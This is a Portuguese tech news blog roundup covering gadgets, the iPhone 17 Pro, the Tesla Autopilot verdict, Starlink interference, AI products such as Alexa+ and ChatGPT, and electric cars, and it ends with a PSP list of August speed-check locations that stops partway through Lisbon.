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Ideal para transportar até 1 TB de dados de forma rápida e compacta, ou para ser usado em aplicações onde pens USB ou cartões de memória não sejam adequados, este SSD externo Crucial X10 apresenta-se como solução eficiente e económica.

Há situações onde uma pen USB ou cartão de memória servem para transferir ou armazenar dados; outros casos há onde será conveniente optar por um suporte mais fiável e / ou de maior velocidade. Este SSD externo Crucial X10 vem com ficha USB-C e está disponível com capacidades de 1 TB, 2 TB, 4 TB, 6 TB e 8TB, mediante as necessidades.
O SSD externo Crucial X10 de 1 TB está disponível por 113 euros na Amazon Espanha.

O seu maior destaque, a par do tamanho compacto, é a velocidade das transferências que pode atingir os 2.1 GB/s (o dobro da geração X9 anterior), acelerando consideravelmente o processo de transferência de centenas de gigabytes sem grande desespero. De resto, temos ainda o descanso adicional de ser um SSD que utiliza memórias flash da Micron, o que também serve para dar alguma confiança quanto à sua fiabilidade e longevidade.


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A bateria do iPhone 17 Pro deverá ser ligeiramente maior nos modelos eSIM sem cartão físico SIM tradicional.

Novas imagens revelam a bateria do iPhone 17 Pro, que tem uma pequena diferença entre os modelos com/sem slot para o SIM físico. A célula apresenta um design em forma de L com uma estrutura em aço, tal como estreado no iPhone 16 Pro, mas com alguns ajustes que sugerem melhor dissipação de calor e facilidade na substituição.

As fotos mostram diferenças claras entre a versão americana e a chinesa. A versão dos EUA, que usa apenas eSIM, tem uma estrutura de bateria ligeiramente maior por não precisar de espaço para um slot físico de cartão SIM. Já a versão chinesa mantém o slot físico, o que ocupa parte do espaço interno. Ainda assim, não se espera que haja diferença significativa na capacidade da bateria entre os dois modelos.
Além do novo formato, destaca-se uma área reduzida para a placa lógica no topo e rumores indicam que a Apple está a usar um novo tipo de adesivo em torno da bateria, que pode libertar-se quando sujeito a uma carga eléctrica, o que poderá facilitar o processo de substituição de bateria.

A gama iPhone 17 deverá ser apresentada na segunda semana de Setembro, mantendo a tradição da Apple. As alterações internas agora conhecidas reforçam a ideia de que a marca está a apostar na melhoria da eficiência térmica e manutenção, mesmo que o design exterior se mantenha sem grandes alterações.

Além de um design renovado, os próximos earphones Galaxy Buds3 FE da Samsung chegarão com bateria muito maior.

Os novos Galaxy Buds3 FE estão a caminho, e tudo indica que vão trazer melhorias importantes face ao modelo anterior lançado em 2023, sobretudo no que toca à autonomia. Um novo certificado europeu revelou que tanto os earbuds como a caixa de carregamento vão ter baterias significativamente maiores.

Segundo a certificação SGS Fimko, cada auricular terá agora uma bateria de 100 mAh (antes eram 60 mAh), e a caixa contará com 900 mAh (em comparação com os 479 mAh do modelo anterior). Isto representa um aumento de 66% na capacidade dos Buds e 87% na caixa, o que deverá traduzir-se numa autonomia substancialmente aumentada.
No design, os Buds3 FE vão seguir o estilo dos Buds3 Pro, com aspecto mais moderno, mas recorrendo a materiais mais simples - como o corpo em plástico - e um esquema de cores tipo "panda", misturando branco com preto. A ideia é aproximar o visual dos modelos mais caros mas mantendo o preço mais acessível. Com o nome "FE" (Fan Edition), é provável que estes novos earbuds sejam lançados lado a lado com o esperado Galaxy S25 FE.

O que é pena é que, ao estilo de todos os demais earphones bluetooth, estes sejam produtos que estão desde logo destinados a ter uma vida útil limitada, pois torna-se inevitável que as baterias percam capacidade ao longo dos anos, e - não sendo substituíveis - acabarão por obrigar à compra de novos earphones.

Nos EUA a Tesla foi condenada a pagar $200M por um acidente mortal com o Autopilot em 2019.

Um júri federal em Miami considerou a Tesla parcialmente culpada por um acidente mortal ocorrido em 2019, envolvendo o sistema Autopilot da marca. O veredicto atribui um terço da responsabilidade à Tesla e dois terços ao condutor, resultando numa indemnização total de cerca de $242.5 milhões, dos quais $200 milhões são danos punitivos atribuídos directamente à empresa.

O acidente aconteceu quando um Tesla, com o Autopilot activado, não travou a tempo de evitar um cruzamento, colidindo com um SUV, e matando uma jovem de 20 anos, Naibel Benavides Leon, e ferindo gravemente o seu namorado. O condutor foi processado separadamente, mas este caso focou-se na alegada falha do sistema de assistência à condução da Tesla: o condutor já tinha admitido que estaria distraído no momento, tendo-se debruçado para apanhar o seu smartphone que tinha caído. A acusação disse que a Tesla promoveu o uso do Autopilot em estradas onde o sistema não deveria ser usado, apesar de saber das suas limitações. O advogado das vítimas acusou Elon Musk e a Tesla de transformarem as estradas públicas em pistas de testes para uma tecnologia incompleta, alegando que o criação de expectativas exageradas criado em torno da condução autónoma serviu apenas para valorizar artificialmente a empresa.

A Tesla reagiu dizendo que vai recorrer, afirmando que o julgamento teve erros legais substanciais e que o Autopilot não foi o verdadeiro culpado. A empresa alega que nenhum carro, em 2019 ou actualmente, teria evitado aquele acidente. Ainda assim, parece-me não haver dúvidas de que a Tesla deverá ser penalizada por tantas vezes insistir que o Autopilot "salva vidas" e que consegue conduzir "em todas as estradas", e só quando as coisas correm mal é que se lembra de dizer que era da responsabilidade do condutor manter-se constantemente atento para intervir a tempo de corrigir qualquer erro do sistema. Algo que começa logo pelo próprio nome dado ao sistema, e que alguns países têm exigido à Tesla que mude, para não criar essas falsas expectativas.

A Radiant diz que irá demonstrar o seu microreactor nuclear Kaleidos em 2026.

A geração de energia nuclear é um tópico sensível mas, com as necessidades crescentes de energia para alimentar os data centers AI, muitos dizem que se torna inevitável recorrer a ela - pelo menos até que a tão aguardada fusão nuclear venha resolver todos os problemas.

O Kaleidos da Radiant é um microreactor nuclear, do tamanho de um contentor, portátil, com zero emissões, e que se assume como uma solução eficiente para gerar energia em qualquer parte do mundo, durante anos, sem preocupações. A empresa diz que o sistema é totalmente seguro e dispensa qualquer necessidade de infraestrutura, sendo basicamente de "pousar e ligar". Só após cinco anos de utilização é que tem que regressar à fábrica para ser reabastecido, podendo fazê-lo por quatro vezes, resultando numa vida útil de 20 anos.



Este micro-reactor pode gerar 1 MW, e mais alguns MW de energia térmica, e tem agendada para 2026 a primeira demonstração de funcionamento real - que diz ser o primeiro teste de um novo reactor nuclear comercial em mais de 50 anos.

Com as promessas da fusão nuclear a serem sempre para "a próxima década", esperemos que neste caso não haja atrasos e que este Kaleidos seja realmente tudo aquilo que a Radiant anuncia.

A Truecaller vai deixar de suportar a função de gravação de chamadas e transcrição nos iPhones a partir de Setembro.

A partir de 30 de Setembro, a funcionalidade de gravação de chamadas da Truecaller deixará de estar disponível nos iPhones. A decisão surge dois anos após o lançamento da funcionalidade, com a empresa sueca a optar por se focar nas suas funcionalidades principais: identificação de chamadas e bloqueio automático de spam.

A Truecaller diz que os utilizadores que têm chamadas gravadas podem descarregá-las, partilhá-las por email ou apps de mensagens, ou guardá-las no iCloud para manter o acesso mesmo depois da funcionalidade ser desactivada. O serviço de gravação foi lançado em 2023 no iOS apenas para utilizadores pagos, tendo sido também disponibilizada em Android - e torna-se em mais um exemplo de como as restrições da Apple podem impedir uma justa concorrência de serviços. Como a Apple não permite acesso directo às chamadas, a Truecaller tinha que o fazer através de chamadas para uma linha telefónica a funcionar como intermediária para fazer a gravação.

Claro que, a Apple não está sujeita a tais limitações, e no iOS 18.1 lançou uma funcionalidade nativa de gravação e transcrição de chamadas - precisamente aquilo que impede outros de fazerem. Depois, queixam-se que a Europa é "má" por fazer exigências que permitem equilibrar o acesso a funcionalidades no iOS, que neste caso penalizam directamente uma empresa europeia.

A Figure continua a fazer avançar os seus robots humanóides, que agora até já podem colocar roupa na máquina de lavar.

Depois de já nos ter mostrado os seus robots a colaborarem em tarefas, e a lidar com encomendas de formato irregular, a Figure mostra-nos mais um sinal de que os "mordomos" robot estão cada vez mais perto de se tornarem realidade.

Trata-se de mais uma tarefa simples (mas chata) para humanos, mas que apresenta incontáveis dificuldades técnicas para ser feita por robots: tirar peças de roupa de um cesto para as colocar na máquina de lavar.

Here's a F.02 in my home, using Helix to do my laundry pic.twitter.com/MXFf1o81EG

— Brett Adcock (@adcock_brett) July 30, 2025

O robot faz a tarefa na perfeição, ao ponto de ter feito muitas pessoas suspeitar se se trataria de um robot controlado remotamente por um operador humano, coisa que a Figure entretanto veio esclarecer, dizendo que o robot estava a funcionar em modo totalmente autónomo, partilhando mais um vídeo.

This is not teleoperated

We’re running Helix, our in-house neural network

— Brett Adcock (@adcock_brett) July 30, 2025

For context, we've been running AI models doing laundry at the office for over a month now

It's exciting to see Helix running in real homes pic.twitter.com/yAA0ocxMeY

— Brett Adcock (@adcock_brett) July 30, 2025

Parece que além dos gadgets habituais e do eventual carro eléctrico, será melhor criar desde já um fundo de poupança para comprar um robot humanóide nos próximos anos.

Para os fãs da meteorologia em busca de uma forma original de mostrar a previsão do estado do tempo, eis um curioso mostrador "holográfico".

Este é mais um daqueles projectos em que o resultado final parece esconder algo complexo, mas que na realidade é extremamente simples. Neste caso, nem sequer recorremos a ecrãs transparentes, fazendo que o projecto Weather in a Box seja bastante mais económico do que se possa imaginar: na prática, pode ser algo que se faz sem gastar dinheiro!

Embora o efeito visual de apresentar uma imagem que parece flutuar no ar seja convincente, especialmente em cenários de iluminação reduzida, o efeito é conseguido da forma mais simples possível: recorrendo a um smartphone antigo e uma simples placa de plástico ou vidro posicionada a 45° para reflectir o que é apresentado no ecrã.
Também do lado do software as coisas são mantidas o mais simples possível, não havendo necessidade de criar uma app específica. O estado do tempo, com imagens animadas, é mostrado através de uma página web, fazendo com que baste usar um browser capaz de apresentar uma página em modo full-screen.

Ao estilo dos velhos truques de ilusionismo em que tudo é feito com "smoke and mirrors", também aqui temos um exemplo prático de como um "espelho" pode criar magia usando os elementos mais básicos possíveis.

A Microsoft vai abandonar o Windows 11 SE, a sua alternativa ao Chrome OS.

A Microsoft vai pôr fim ao Windows 11 SE, a sua versão leve do sistema operativo pensada para o sector da educação e para concorrer com os Chromebooks. Lançado há cinco anos, o Windows 11 SE estava disponível apenas em portáteis de baixo custo para escolas, mas vai deixar de receber actualizações, assistência técnica, e correções de segurança a partir de Outubro de 2026.

A empresa confirmou que os dispositivos com Windows 11 SE não terão direito à próxima grande actualização (25H2) do sistema operativo, ficando limitados à versão 24H2 até ao fim do suporte. Marcas como Acer, Asus, Dell, HP, Lenovo e a própria Microsoft (com o Surface Laptop SE) chegaram a apostar neste sistema em portáteis acessíveis - numa aposta que agora se revelou um erro estratégico. Esta não é a primeira vez que a Microsoft tenta competir com o Chrome OS sem sucesso. Antes do Windows 11 SE, já tinha lançado o "S Mode" no Windows 10, que limitava os utilizadores a apps da Microsoft Store e que gerou bastantes críticas pela falta de aplicações disponíveis. O Windows 11 SE também seguiu uma linha restritiva, com foco em PWAs (Progressive Web Apps) e regras apertadas para usar software win32 tradicional.

A decisão surge numa altura em que os Chromebooks estão a perder força no mercado, com as vendas a cair desde 2022. Em vez de migrar para o Chrome OS, que também tem tido um rumo incerto face aos planos de combinação com o Android, o sector educativo parece estar a preferir optar por computadores com Windows 11 tradicional.

Depois dos problemas com a astronomia visível, a rede Starlink é acusada de estar a usar frequências que não devia que afectam a radioastronomia.

Os satélites Starlink não estão apenas a prejudicar fotografias do céu nocturno, também estão a causar interferências nas observações feitas através de ondas de rádio, usadas na radioastronomia. Um estudo que analisou 76 milhões de imagens revela que estas interferências acontecem mesmo em frequências onde os satélites não deviam emitir qualquer sinal.

Durante quatro meses, investigadores da Curtin University, na Austrália, recolheram dados do protótipo do observatório Square Kilometre Array. Os resultados mostram que até 30% das imagens analisadas foram afectadas por interferências vindas de satélites Starlink. Em alguns casos, detectaram sinais em bandas de rádio que são supostamente protegidas para uso exclusivo da astronomia, como a frequência de 150.8 MHz.

Starlink is built to deliver reliable high-speed internet, even when a customer’s view of the sky isn’t perfect.

Starlink terminals automatically switch between satellites in real time to address any degradation in the link → https://t.co/NRzPcVgpDi pic.twitter.com/X0TRDOwl7C

— Starlink (@Starlink) August 1, 2025

Estas emissões inesperadas não são deliberadas, resultando de componentes electrónicos a bordo dos satélites, o que as torna difíceis de prever e eliminar com software. Ainda assim, os autores do estudo sublinham que a SpaceX não está a violar nenhuma lei actual. A regulamentação internacional cobre apenas transmissões intencionais, deixando estas emissões "acidentais" fora do radar legal.

O problema pode agravar-se à medida que mais satélites são lançados. Demonstrando a velocidade com que a SpaceX tem expandido a rede Starlink, durante o período do estudo a SpaceX colocou 477 novos satélites Starlink em órbita, e há modelos recentes que produzem 32 vezes mais interferência que os antigos. Os cientistas esperam que estes dados incentivem a actualização das regras internacionais, para proteger a radioastronomia num espaço cada vez mais "preenchido".

Para o Battlefield 6 a EA aposta em manter os jogadores empenhados facilitando a criação de conteúdos para expandir o jogo.

A EA está a preparar uma nova fase para a série Battlefield, com o lançamento de Battlefield 6, que será fortemente baseado em conteúdos criados pelos utilizadores através do modo Battlefield Portal. A ideia é transformar o jogo numa plataforma contínua, num estilo mais próximo do que acontece no Fortnite e Call of Duty, onde a comunidade ajuda a criar a experiência. Para isso, a EA está a apostar num modelo live service e espera atingir os 100 milhões de jogadores após o lançamento.

O novo jogo decorre num cenário de guerra moderna, em 2027, com batalhas em larga escala entre a NATO e uma força militar privada chamada PAX Armata, em regiões como a Europa, Norte de África e costa oeste da América do Norte. Mas o destaque vai para o Portal, uma ferramenta alimentada pelo motor gráfico Godot, que permite aos jogadores criar e modificar mapas, modos de jogo, e até recriar experiências inesperadas - semelhante aos modos criativos de PUBG ou Only Up.

Gear up and deploy across 9 multiplayer maps in #Battlefield6 🌎

From the deserts of Egypt to Brooklyn's streets, engage in close-quarters chaos or grand-scale warfare. pic.twitter.com/7K55AgDHmi

— Battlefield (@Battlefield) July 31, 2025

Stay connected to the fight and your squad 🪖

The new Kinesthetic Combat System in #Battlefield6 makes every move feel sharper and every shot pure instinct. pic.twitter.com/UA6xDJ6oKo

— Battlefield (@Battlefield) July 31, 2025

A equipa de desenvolvimento acredita que esta abordagem mais colaborativa e dinâmica é a chave para manter os jogadores envolvidos a longo prazo. Durante o desenvolvimento, ouviram o feedback dos jogadores que participaram nos testes fechados do programa Battlefield Labs, para alinhar o jogo com o que a comunidade procura. O objectivo será oferecer algo que evolua com o tempo, com eventos sazonais e novidades constantes para manter o interesse dos jogadores.

O Battlefield 6 quer regressar ao que tornou a série especial, mas com um olhar voltado para o futuro. Agora resta esperar pelo lançamento oficial, marcado para 10 de Outubro, e saber se o resultado está à altura das expectativas.

O uso que a Amazon quer dar à AI passar por incluir anúncios nas conversas com a nova Alexa+ para fomentar as vendas.

Enquanto uns vão ambicionando um futuro em que os modelos AI levarão a civilização a uma nova era, outros têm uma visão mais prática e imediata, de usar AI para aumentar os lucros e o consumismo. A Amazon está a considerar mostrar anúncios durante as conversas com a Alexa+, a versão AI melhorada da sua assistente digital. Segundo o CEO Andy Jassy, a empresa vê nesta funcionalidade uma forma de "ajudar" os utilizadores a descobrir novos produtos, integrando publicidade de forma natural em conversas mais longas com a Alexa+.

A Alexa+ já foi disponibilizada a milhões de utilizadores, com uma versão gratuita para clientes Prime, ou acesso via subscrição de 20 dólares por mês. No entanto, a Amazon já pensa em diferentes modalidades de subscrição no futuro, incluindo a possibilidade de uma versão sem anúncios (obviamente, mais cara). Até agora, os anúncios na Alexa têm sido discretos, aparecendo ocasionalmente em dispositivos com ecrã ou entre músicas (aproveito para relembrar que o serviço de música da Amazon incluindo no Amazon Prime continua indisponível em Portugal).

The future I don’t want to live in pic.twitter.com/PEPPrfGbRb

— Chubby♨️ (@kimmonismus) August 2, 2025

[Também a Meta olha para a AI como ferramenta para "prender" ainda mais os utilizadores]
A aposta em publicidade dentro dos assistentes AI arrisca-se a ser uma futuro inevitável, especialmente tendo em conta que estes assistentes têm vindo a reduzir significativamente as visitas tradicionais a sites na web. Também a Google e a OpenAI já revelaram estar a considerar adicionar publicidade nas suas plataformas, de "forma cuidadosa". No caso da Amazon, a pressão é ainda maior, já que os seus investimentos em AI aumentaram drasticamente mas a empresa continua longe de ser associada a serviços AI como outras empresas (Google, OpenAI, Anthropic, etc.)

Parece que o melhor será alguma empresa começar já a trabalhar num adblocker AI que tenha capacidade de bloquear publicidade nos assistentes AI, pois parece que as empresas estão a trabalhar no sentido de os encher com tanto publicidade como aquela que actualmente impede os utilizadores de verem os devidos conteúdos nas páginas que visitam. Já imaginaram se, em vez de um assistente AI prestável que apenas responde ao que perguntam, temos que lidar com um especializado em "impingir" produtos e serviços, ao estilo dos operadores agressivos de telemarketing que sabem todas as tácticas para dar a volta às "vítimas"?

O projecto de hoje mostra como criar um versátil controlador com botão rotativo, deslizante, e ecrã.

Este Focus Wheel - Your Desk Study Buddy é apresentado como um acessório que permite rapidamente definir períodos de concentração e de repouso para auxiliar os estudos ou outras tarefas em que se deseje estar focado e livre de distracções, mas a verdade é que é pode ser usado como base para muitas mais coisas.

Usando um ESP32 como elemento central, trata-se de um bem conseguido controlador físico que conta com um botão rotativo embelezado por um aro de LEDs RGB, a par de um botão deslizante e botão tradicional. Também conta com um pequeno buzzer para gerar os sons de "alarme" no fim dos períodos de tempo definidos, com o volume a poder ser ajustado directamente pelo botão deslizante. Todos os elementos são impressos em 3D, o que facilita a sua construção - e também adaptação para outras funções.
Embora o seu uso para a função apresentada seja útil, não consigo parar de pensar em toda a imensa gama de possibilidades que um controlador deste tipo permite.

Com algumas alterações, ficamos com um controlador HID standard que poderá ser usado para auxiliar tarefas como edição de áudio, vídeo, e muitas outras que se prestem ao uso de um botão rotativo e dezlizante - incluindo jogos de simulação e outros.

Alguns utilizadores foram surpreendidos por, as conversas que partilharam publicamente, aparecerem em resultados das pesquisas no Google.

Num caso de pseudo-polémica totalmente despropositada, alguns utilizadores ficaram indignados por verem que as suas conversas partilhadas no ChatGPT estavam a ser indexadas por motores de busca como o Google e o Bing - isto depois de eles próprios terem transformado essas conversas em conversas publicas partilhadas.

As conversas com o ChatGPT são privadas, mas podem ser tornadas públicas. Para tal, o utilizador tem que clicar manualmente no botão "partilhar" e, de seguida, criar um link com o formato "chatgpt.com/share". Mesmo depois disso, existe uma opção que permite decidir se o link pode ser descoberto por motores de busca. No entanto, nem todos os utilizadores parecem ter a capacidade de ler o que estão a fazer, e agora queixam-se que isto levou à exposição involuntária de dados.
A Google, pelo seu lado, descarta qualquer responsabilidade, relembrando que cabe aos responsáveis pelos sites e conteúdos definirem o que pode ou não ser indexado, e não aos motores de busca.

Ainda assim, e sabendo que não pode correr o risco de ser associada a empresa que não valoriza a privacidade, a OpenAI disse que esta capacidade de definir a visibilidade nos motores de busca foi um teste temporário que visava facilitar a partilha e descoberta de conversas úteis, mantendo o controlo nas mãos dos utilizadores. No entanto, a empresa diz já ter removido a funcionalidade, admitindo que o risco de partilha acidental de informações era demasiado elevado - onde "partilha acidental" será certamente um eufemismo para: "aqueles utilizadores que clicam em tudo o que lhes aparece pela frente sem lerem o que estão a fazer".

A OpenAI parece estar a preparar um novo plano ChatGPT Go mais acessível que os planos existentes.

Foram descobertas referências que revelam que a OpenAI estará a testar um novo plano pago para o ChatGPT chamado "Go". Pensado para utilizadores que não precisam de todas as funcionalidades avançadas, este novo plano deverá ser mais barato do que o actual plano Plus de 20 dólares por mês.

Neste momento, existem apenas duas opções: o plano Plus, que dá acesso aos modelos mais recentes e a algumas funcionalidades extra, e o plano Pro, que custa 200 dólares e garante acesso quase ilimitado aos modelos da OpenAI, incluindo ferramentas mais avançadas como a geração de vídeo. No entanto, são planos que não se tornam apelativos para para usa o ChatGPT de forma mais ocasional.
O plano Go pretende preencher essa lacuna, oferecendo uma alternativa mais acessível. Para que este plano faça sentido face ao plano Plus actual, terá que ter um preço diferenciador - na casa dos 10 dólares por mês. Mas, a OpenAI terá que deixar bem claro quais as diferenças, e de forma a que isso seja facilmente percebido pelo público em geral. Espera-se que a OpenAI revele oficialmente este novo plano já na próxima semana, possivelmente em conjunto com o anúncio do aguardado GPT-5.

Deixo também em aberto a possibilidade de se tratar de uma nova tentativa de um plano "pay as you go", em que se vai pagando um valor em função do uso que se dá ao serviço - apesar de, no passado, isso ter sido perguntado aos utilizadores e a resposta ter sido bastante negativa, com a maioria a ter indicado a preferência pelos planos com mensalidades fixas.

O novo Hyundai IONIQ 5 chega renovado e recheado de argumentos para reforçar a gama de veículos 100% elétricos da marca, com melhorias técnicas, novidades tecnológicas e atualizações de design.

As melhorias visuais no novo Hyundai IONIQ 5 incluem um novo acabamento em formato V e para-choques dianteiro e traseiro redesenhados, que reforçam a postura ampla e baixa do SUV. O comprimento total do veículo aumentou 20 mm, passando para 4.655 mm, mantendo-se inalteradas as restantes dimensões exteriores: largura de 1.890 mm, altura de 1.605 mm e distância entre eixos de 3.000 mm.

Para uma aparência mais dinâmica e melhor desempenho aerodinâmico, o spoiler traseiro foi prolongado em 50 mm e foram introduzidas novas jantes aerodinâmicas em medidas 19 e 20 polegadas.

Habitáculo mais funcional e confortável

O interior foi aprimorado para oferecer maior funcionalidade e comodidade, sem comprometer o espaço tipo “sala de estar”. Na consola central deslizante, a parte superior da “Universal Island” passa a contar com botões físicos que permitem aceder rapidamente a funções como os bancos dianteiros aquecidos e ventilados, o volante aquecido e o assistente de estacionamento. O volante tem agora um novo design com luzes interativas tipo pixel, e os comandos do sistema de infoentretenimento e do ar condicionado foram reorganizados para uma utilização mais intuitiva. A moldura do ecrã de infotainment passa a estar presente em preto e foi posicionada uma porta USB-C (carregamento rápido e carregamento/dados), bem como ligação 12V (180VW), em posição central.

Nova geração de tecnologia e segurança

O novo Hyundai IONIQ 5 conta com incremento de tecnologias, onde se salienta o carregamento ultrarrápido de até 350 km de autonomia em apenas 18 minutos (arquitetura de 800V), sistema Vehicle-to-Load interior e exterior, park assist com controlo remoto e oferta de Bluelink (10 anos). Entre as melhorias tecnológicas incluídas no novo Hyundai IONIQ 5, é de referir o sistema de infotainment de nova geração ccNC (connected car Navigation Cockpit) e suporte de atualizações remotas de software (OTA – Over The Air), que garante que os principais sistemas eletrónicos do veículo estão sempre atualizados. A nível de segurança e comodidade, foram integradas novas funcionalidades como Volante com deteção de mãos (HOD), Assistente de Manutenção na Faixa 2 (LKA 2), Assistente Remoto de Estacionamento Inteligente 2 (RSPA 2), Assistente de Prevenção de Colisões em Estacionamento (PCA-F/S/R) – frontal, lateral e traseiro. Foram também incorporadas funcionalidades muito procuradas pelos clientes, como o Sistema Inteligente de Iluminação Frontal (IFS), Digital Key 2 e rebatimento remoto dos bancos da segunda fila.

Disponibilidade em Portugal

A gama do novo Hyundai IONIQ 5 é composta por quatro versões: Premium, Premium Plus, Vanguard e Vanguard Plus.

A versão de entrada, Hyundai IONIQ 5 EV 440km Premium MY25, modelo standard-range, está equipado com a recém introduzida bateria de 63 kWh, potência de 125 kW (170cv), consumo de 15,6 kWh/100km e autonomia de até 440 km, em ciclo combinado WLTP, e de até 613 km em ciclo urbano WLTP.

Com a nova bateria long-range de 84 kWh e motor com potência de 168,4 kWh (229cv), existem três versões: Hyundai IONIQ 5 EV 570km (Premium Plus ou Vanguard) MY25, consumo de 16,0 kWh/100 km e autonomia de até 570 km, em ciclo combinado WLTP, e, de até 784 km em ciclo urbano WLTP (com jante de 19 polegadas); e Hyundai IONIQ 5 EV 530km Vanguard Plus MY25, consumo de 17,0 kWh/100 km e autonomia de até 530 km, em ciclo combinado WLTP, e, de até 709 km, em ciclo urbano WLTP (com jante de 20 polegadas).

A gama Hyundai IONIQ 5 conta com o Hyundai IONIQ 5 EV 440km Premium MY25 a partir de 43.000 euros e com o Hyundai IONIQ 5 EV 570km Premium Plus MY25, a partir de 49.900 euros.

O novo modelo conta com garantia total de 7 anos sem limite de quilómetros, garantia de 8 anos ou 160.000 quilómetros para a bateria de alta voltagem, 7 anos de Assistência em Viagem e 7 anos de Check-ups anuais gratuitos.

[Pela Estrada Fora]

A Transatel (subsidiária da NTT DATA) anunciou o lançamento do seu serviço de conectividade de dados celulares Ubigi para veículos conectados MINI em Portugal e outros países da Europa.

Desde junho 2025, os clientes do MINI em Portugal, Áustria, Bélgica, Bulgária, Croácia, Chipre, República Checa, Dinamarca, Finlândia, França, Alemanha, Grécia, Hungria, Irlanda, Itália, Liechtenstein, Luxemburgo, Malta, Países Baixos, Polónia, Roménia, Eslováquia, Eslovénia, Espanha, Suécia, Suíça e Reino Unido podem ativar o Personal eSIM do seu MINI com os planos de dados Ubigi 5G da Transatel para usufruírem de conectividade WiFi a bordo, independentemente do seu operador de rede principal para a sua assinatura regular de telemóvel. O serviço está disponível para veículos MINI com o Sistema Operativo MINI 9 "Personal eSIM".

Para ativar o WiFi-Hotspot nos veículos MINI elegíveis, os proprietários podem configurar o seu eSIM pessoal através da aplicação MINI e subscrever os planos de dados europeus da Ubigi (UE 27 + UK + CH + LIE). O custo do serviço começa em 10 euros, com a subscrição mensal de um plano de dados ilimitado (sujeito a uma política de utilização justa com 100 GB de alta velocidade e roaming em 27 países da Europa). Os clientes MINI podem também subscrever uma assinatura de 12 ou 36 meses para obter dados ilimitados a preço reduzido.

Desde 2018, a Transatel tem estado na vanguarda da conectividade automóvel com contratos com fabricantes de automóveis, incluindo Jaguar Land Rover, Fiat Chrysler Automotive (agora Stellantis), Toyota e BMW Group. Atualmente, a plataforma de conectividade IoT gerida pela Transatel liga milhões de veículos e dispositivos a redes móveis públicas e privadas. Como pioneira da tecnologia eSIM e das telecomunicações transfronteiriças, a Transatel já oferece conectividade 4G/5G em mais de 200 países e territórios, graças ao seu acordo de acesso com operadoras móveis locais em todo o mundo.

[Pela Estrada Fora]

A PSP divulgou a informação acerca das datas e locais onde irão decorrer acções de fiscalização de velocidade durante este mês de Agosto. Segundo a PSP, estas acções visam reduzir a sinistralidade associada ao excesso de velocidade.

Os locais escolhidos tiveram em consideração critérios de maior perigosidade e são, este mês, os seguintes:

AVEIRO
05/Ago – 08h00/12h00 – Av. da Universidade – Aveiro
08/Ago – 08h00/12h00 – Av. da Universidade – Aveiro
20/Ago – 09h00/12h00 – R. Eng. Vitorino Damásio – SM Feira
25/Ago – 08h00/12h00 – Av. da Europa – Junto à BP – Aveiro
26/Ago – 09h00/12h00 – Av. Dr. Renato Araújo – SJ Madeira
27/Ago – 09h00/12h00 – R. Mãe Água – Ovar
28/Ago – 09h00/12h00 – Av. 32 – Espinho
29/Ago – 08h00/12h00 – Av. da Universidade – Aveiro

BEJA
08/Ago – 09h00/12h00 – Rua Francisco Miguel Duarte – Beja
13/Ago – 09h00/12h00 – Rua Francisco Miguel Duarte – Beja
21/Ago – 14h30/17h00 – Av. Salgueiro Maia – Beja
26/Ago – 09h00/12h00 – Rua Francisco Miguel Duarte – Beja

BRAGANÇA
04/Ago – 08h00/13h00 – E.N. 213 – Mirandela
07/Ago – 08h00/13h00 – E.N. 15 – Mirandela
18/Ago – 08h00/13h00 – Cintura Interna de Bragança – Bragança
21/Ago – 08h00/13h00 – E.N. 15 – Quinta de São Lourenço

BRAGA
04/Ago – 08h30 – Circular de Barcelos – Barcelos
04/Ago – 09h00/11h00 – Circular Urbana de Guimarães (nó S.Torcato)
05/Ago – 14h30/16h30 – Circular Urbana de Guimarães (nó S.Torcato)
07/Ago – 09h00/11h00 – E.N. 14 – Vila Nova de Famalicão (Av.Santiago de Gavião)
08/Ago – 14h00/16h00 – E.N. 14 – Vila Nova de Famalicão (Av.Santiago de Gavião)
12/Ago – 14h30 – Circular de Barcelos – Barcelos
18/Ago – 16h00/19h00 – Av. António Macedo – Braga
22/Ago – 09h00/12h00 – Av. Miguel Torga – Braga

CASTELO BRANCO
06/Ago – 10h00/12h00 – Rua Adelino Semedo Barata – Castelo Branco
08/Ago – 09h00/13h00 – Alameda Pêro da Covilhã – Covilhã
11/Ago – 17h00/19h00 – Av. Dia de Portugal – Castelo Branco
20/Ago – 08h00/12h00 – Av. Cidade Rio de Janeiro – Covilhã

COIMBRA
19/Ago – 09h00/12h00 – Av. Prof. Bissaya Barreto – Figueira da Foz
22/Ago – 16h00 – Av. Inês de Castro – Coimbra
25/Ago – 09h30 – Av. da Lousã – Coimbra
27/Ago – 16h00 – IC3 – Banhos Secos – Coimbra
28/Ago – 09h00/12h00 – Av. Dr. Mário Soares – Figueira da Foz
30/Ago – 09h30 – E.N. 341 – Coimbra

ÉVORA
04/Ago – 18h00/20h30 – E.N. 18 – Bairro do Frei Aleixo – Évora
08/Ago – 17h30/20h00 – E.R. 114-A – Estrada de Arraiolos – Évora
12/Ago – 10h00/12h00 – Av. Rainha Santa Isabel – Estremoz
13/Ago – 09h00/11h30 – E.N. 114 – Av. Túlio Espanca – Évora
26/Ago – 10h00/12h00 – IP 2 – Gil – Estremoz
28/Ago – 09h00/11h30 – Av. Lino de Carvalho – Évora

FARO
02/Ago – 20h30/23h00 – Av. Dr. Gordinho Moreira – Faro
06/Ago – 20h30/23h00 – E.N. 125 – Olhão
20/Ago – 09h00/12h00 – Rua Almirante Cândido dos Reis – Tavira
20/Ago – 20h30/23h00 – E.N. 125 – Tavira
28/Ago – 09h00/11h00 – Av. de Castro Marim – Vila Real Sto. António
29/Ago – 20h30/23h00 – Estrada do Moinho da Palmeira – Faro

GUARDA
04/Ago – 09h00/13h00 – Via da Cintura Externa – Guarda
06/Ago – 16h00/20h00 – Via da Cintura Externa – Guarda
28/Ago – 09h00/13h00 – Av. Serra da Estrela – Gouveia
29/Ago – 16h00/20h00 – Via da Cintura Externa – Guarda

LEIRIA
18/Ago – 14h00/18h00 – E.N. 356-1 – Alcogulhe – Leiria
19/Ago – 14h00/17h00 – Rua Albergaria dos Doze – Pombal
21/Ago – 14h00/17h00 – Av. Nogent-Sur-Marne – Nazaré
22/Ago – 14h00/17h00 – Rua Costa Veiga – Alcobaça
26/Ago – 09h00/12h00 – Estrada da Nazaré Km 15,2 – Marinha Grande

LISBOA
04/Ago – 08h00/10h30 – Av. Infante D. Henrique – Lisboa
06/Ago – 08h00/10h30 – IC 2 – Sta Iria de Azóia
08/Ago – 08h00/16h00 – Av. Marginal (sentido Lisboa-Cascais)
12/Ago – 08h30/11h30 – E.N. 250.1 – Baratã – Algueirão
12/Ago – 13h30/16h00 – Av. Eng. Duarte Pacheco – Queluz
